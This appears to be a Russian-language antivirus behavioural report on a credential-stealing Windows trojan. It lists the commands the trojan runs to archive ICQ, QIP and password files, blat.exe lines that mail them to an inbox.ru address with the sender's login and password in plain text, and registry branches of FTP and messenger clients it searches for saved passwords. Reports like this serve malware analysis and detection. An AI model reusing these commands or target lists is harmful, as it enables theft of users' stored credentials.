Техническая информация
Для обеспечения автозапуска и распространения:
Модифицирует следующие ключи реестра:
- [<HKLM>\SOFTWARE\Classes\mprf\shell\open\command] '' = '%TEMP%\1.tmp\MPR.exe "%1"'
Вредоносные функции:
Создает и запускает на исполнение:
- %TEMP%\1.tmp\7z.exe a uins.7z "F:/6 чэръш.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "E:/6 чэръш.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "G:/6 чэръш.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "I:/6 чэръш.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "H:/6 чэръш.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "O:/єшэ√.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "N:/єшэ√.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "P:/єшэ√.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "D:/6 чэръш.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "C:/6 чэръш.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "P:/6 чэръш.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "O:/6 чэръш.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "C:/7 чэръш.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "E:/7 чэръш.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "D:/7 чэръш.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "K:/6 чэръш.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "J:/6 чэръш.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "L:/6 чэръш.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "N:/6 чэръш.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "M:/6 чэръш.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "N:/uins.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "M:/uins.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "O:/uins.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "C:/єшэ√.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "P:/uins.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "I:/uins.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "H:/uins.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "J:/uins.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "L:/uins.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "K:/uins.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "J:/єшэ√.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "I:/єшэ√.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "K:/єшэ√.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "M:/єшэ√.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "L:/єшэ√.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "E:/єшэ√.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "D:/єшэ√.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "F:/єшэ√.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "H:/єшэ√.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "G:/єшэ√.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "F:/7 чэръш.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "E:/good.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "D:/good.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "F:/good.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "H:/good.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "G:/good.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "N:/8 чэръш.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "M:/8 чэръш.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "O:/8 чэръш.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "C:/good.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "P:/8 чэръш.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "O:/good.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "N:/good.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "P:/good.txt" -r
- %TEMP%\1.tmp\blat.exe -body logins -to bazaev05@inbox.ru -attach logins.7z
- %TEMP%\1.tmp\7z.exe a logins.7z "prof.7z" "uins.7z"
- %TEMP%\1.tmp\7z.exe a uins.7z "J:/good.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "I:/good.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "K:/good.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "M:/good.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "L:/good.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "M:/7 чэръш.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "L:/7 чэръш.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "N:/7 чэръш.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "P:/7 чэръш.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "O:/7 чэръш.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "H:/7 чэръш.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "G:/7 чэръш.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "I:/7 чэръш.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "K:/7 чэръш.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "J:/7 чэръш.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "I:/8 чэръш.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "H:/8 чэръш.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "J:/8 чэръш.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "L:/8 чэръш.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "K:/8 чэръш.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "D:/8 чэръш.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "C:/8 чэръш.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "E:/8 чэръш.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "G:/8 чэръш.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "F:/8 чэръш.txt" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "I:/program files/qip 2005/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "H:/program files/qip 2005/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "J:/program files/qip 2005/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "L:/program files/qip 2005/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "K:/program files/qip 2005/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "D:/program files/qip 2005/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "C:/program files/qip 2005/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "E:/program files/qip 2005/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "G:/program files/qip 2005/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "F:/program files/qip 2005/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "E:/program files/qip 2010/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "D:/program files/qip 2010/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "F:/program files/qip 2010/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "H:/program files/qip 2010/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "G:/program files/qip 2010/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "N:/program files/qip 2005/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "M:/program files/qip 2005/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "O:/program files/qip 2005/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "C:/program files/qip 2010/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "P:/program files/qip 2005/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "C:/program files/qip/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "%PROGRAM_FILES%/qip 2010/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "D:/program files/qip/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "F:/program files/qip/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "E:/program files/qip/users/*.ini" -r
- %TEMP%\1.tmp\MPR.exe /export
- %TEMP%\1.tmp\blat.exe -install -server smtp.inbox.ru -port 587 -f bazaev05@inbox.ru -u bazaev05 -pw A11079655
- %TEMP%\1.tmp\blat.exe -body PASSWORDS -to bazaev05@inbox.ru -attach *.mpf
- %TEMP%\1.tmp\7z.exe a prof.7z "%PROGRAM_FILES%/qip/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "%PROGRAM_FILES%/qip 2005/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "M:/program files/qip/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "L:/program files/qip/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "N:/program files/qip/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "P:/program files/qip/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "O:/program files/qip/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "H:/program files/qip/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "G:/program files/qip/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "I:/program files/qip/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "K:/program files/qip/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "J:/program files/qip/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "I:/program files/qip 2010/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "H:/uin.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "G:/uin.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "I:/uin.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "K:/uin.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "J:/uin.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "C:/uin.txt" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "P:/program files/qip 2011/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "D:/uin.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "F:/uin.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "E:/uin.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "D:/uins.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "C:/uins.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "E:/uins.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "G:/uins.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "F:/uins.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "M:/uin.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "L:/uin.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "N:/uin.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "P:/uin.txt" -r
- %TEMP%\1.tmp\7z.exe a uins.7z "O:/uin.txt" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "P:/program files/qip 2010/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "O:/program files/qip 2010/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "C:/program files/qip 2011/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "E:/program files/qip 2011/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "D:/program files/qip 2011/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "K:/program files/qip 2010/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "J:/program files/qip 2010/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "L:/program files/qip 2010/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "N:/program files/qip 2010/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "M:/program files/qip 2010/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "L:/program files/qip 2011/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "K:/program files/qip 2011/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "M:/program files/qip 2011/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "O:/program files/qip 2011/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "N:/program files/qip 2011/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "G:/program files/qip 2011/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "F:/program files/qip 2011/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "H:/program files/qip 2011/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "J:/program files/qip 2011/users/*.ini" -r
- %TEMP%\1.tmp\7z.exe a prof.7z "I:/program files/qip 2011/users/*.ini" -r
Запускает на исполнение:
- <SYSTEM32>\wscript.exe "%TEMP%\1.tmp\copy.js"
- <SYSTEM32>\cmd.exe /c ""%TEMP%\1.tmp\copy.cmd" "
- <SYSTEM32>\cmd.exe /c ""%TEMP%\1.tmp\icq-regger.bat" "
- <SYSTEM32>\ping.exe mail.ru -n 5
Ищет ветки реестра, отвечающие за хранение паролей сторонними программами:
- [<HKCU>\Software\South River Technologies\WebDrive\Connections]
- [<HKCU>\Software\Martin Prikryl\WinSCP 2\Sessions]
- [<HKCU>\SOFTWARE\Mirabilis\ICQ\NewOwners]
- [<HKLM>\SOFTWARE\Miranda]
- [<HKCU>\Software\FTP Explorer\Profiles]
- [<HKCU>\Software\Sota\FFFTP\Options]
- [<HKCU>\Software\BPFTP]
- [<HKCU>\Software\FTPWare\COREFTP\Sites]
- [<HKCU>\Software\CoffeeCup Software\Internet\Profiles]
- [<HKCU>\Software\Microsoft\MSNMessenger]
- [<HKCU>\Software\AIM\AIMPro]
- [<HKCU>\Software\Paltalk]
- [<HKCU>\Software\ORL\WinVNC3]
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Trillian]
- [<HKCU>\Software\Google\Google Talk\Accounts]
- [<HKCU>\Identities\{5518F2FB-DB74-45A3-BEC1-4575D8D9DC84}\Software\Microsoft\MessengerService]
- [<HKCU>\Software\Microsoft\MessengerService]
- [<HKCU>\Software\America Online\AIM6\Passwords]
- [<HKCU>\Software\Yahoo\Pager]
- [<HKCU>\Software\BulletProof Software\BulletProof FTP Client\Options]
- [<HKLM>\Software\Ghisler\Windows Commander]
- [<HKCU>\Software\Ghisler\Total Commander]
- [<HKCU>\Software\FlashFXP\3]
- [<HKLM>\Software\Ghisler\Total Commander]
- [<HKCU>\Software\Ghisler\Windows Commander]
- [<HKCU>\SOFTWARE\Far2\Plugins\FTP\Hosts]
- [<HKCU>\SOFTWARE\Far\Plugins\FTP\Hosts]
- [<HKCU>\Software\Far2\SavedDialogHistory\FTPHost]
- [<HKCU>\Software\Far\SavedDialogHistory\FTPHost]
- [<HKCU>\Software\FlashFXP]
- [<HKCU>\Software\BPFTP\Bullet Proof FTP\Main]
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\FTP Commander Deluxe]
- [<HKCU>\Software\BPFTP\Bullet Proof FTP\Options]
- [<HKCU>\Software\BulletProof Software\BulletProof FTP Client\Main]
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\FTP Commander]
- [<HKLM>\Software\FlashFXP]
- [<HKLM>\Software\FlashFXP\3]
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\FTP Navigator]
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\FTP Commander Pro]
Изменения в файловой системе:
Создает следующие файлы:
- %TEMP%\1.tmp\mpr.ini
- %TEMP%\1.tmp\MPR.exe
- %TEMP%\1.tmp\HookLib.dll
- %TEMP%\1.tmp\SAV_CRNJEUFU_10.23.2012_2-19-20_AM.mpf
- %TEMP%\1.tmp\copy.js
- %TEMP%\1.tmp\7z.exe
- %TEMP%\1.tmp\block_reader.sys
- %TEMP%\1.tmp\100.ico
- %TEMP%\1.tmp\copy.cmd
- %TEMP%\1.tmp\icq-regger.bat
- %TEMP%\1.tmp\blat.lib
- %TEMP%\1.tmp\blat.exe
- %TEMP%\1.tmp\blat.dll
Удаляет следующие файлы:
- %TEMP%\1.tmp\copy.js
- %TEMP%\1.tmp\copy.cmd
- %TEMP%\1.tmp\block_reader.sys
- %TEMP%\1.tmp\mpr.ini
- %TEMP%\1.tmp\MPR.exe
- %TEMP%\1.tmp\HookLib.dll
- %TEMP%\1.tmp\blat.lib
- %TEMP%\1.tmp\100.ico
- %TEMP%\1.tmp\icq-regger.bat
- %TEMP%\1.tmp\SAV_CRNJEUFU_10.23.2012_2-19-20_AM.mpf
- %TEMP%\1.tmp\blat.exe
- %TEMP%\1.tmp\blat.dll
- %TEMP%\1.tmp\7z.exe
Сетевая активность:
Подключается к:
- 'sm##.inbox.ru':587
UDP:
- DNS ASK sm##.inbox.ru
- DNS ASK ma#l.ru
Другое:
Ищет следующие окна:
- ClassName: 'MS_WebcheckMonitor' WindowName: ''
- ClassName: 'Shell_TrayWnd' WindowName: ''
- ClassName: 'TMainMPRForm' WindowName: ''
- ClassName: 'MS_AutodialMonitor' WindowName: ''
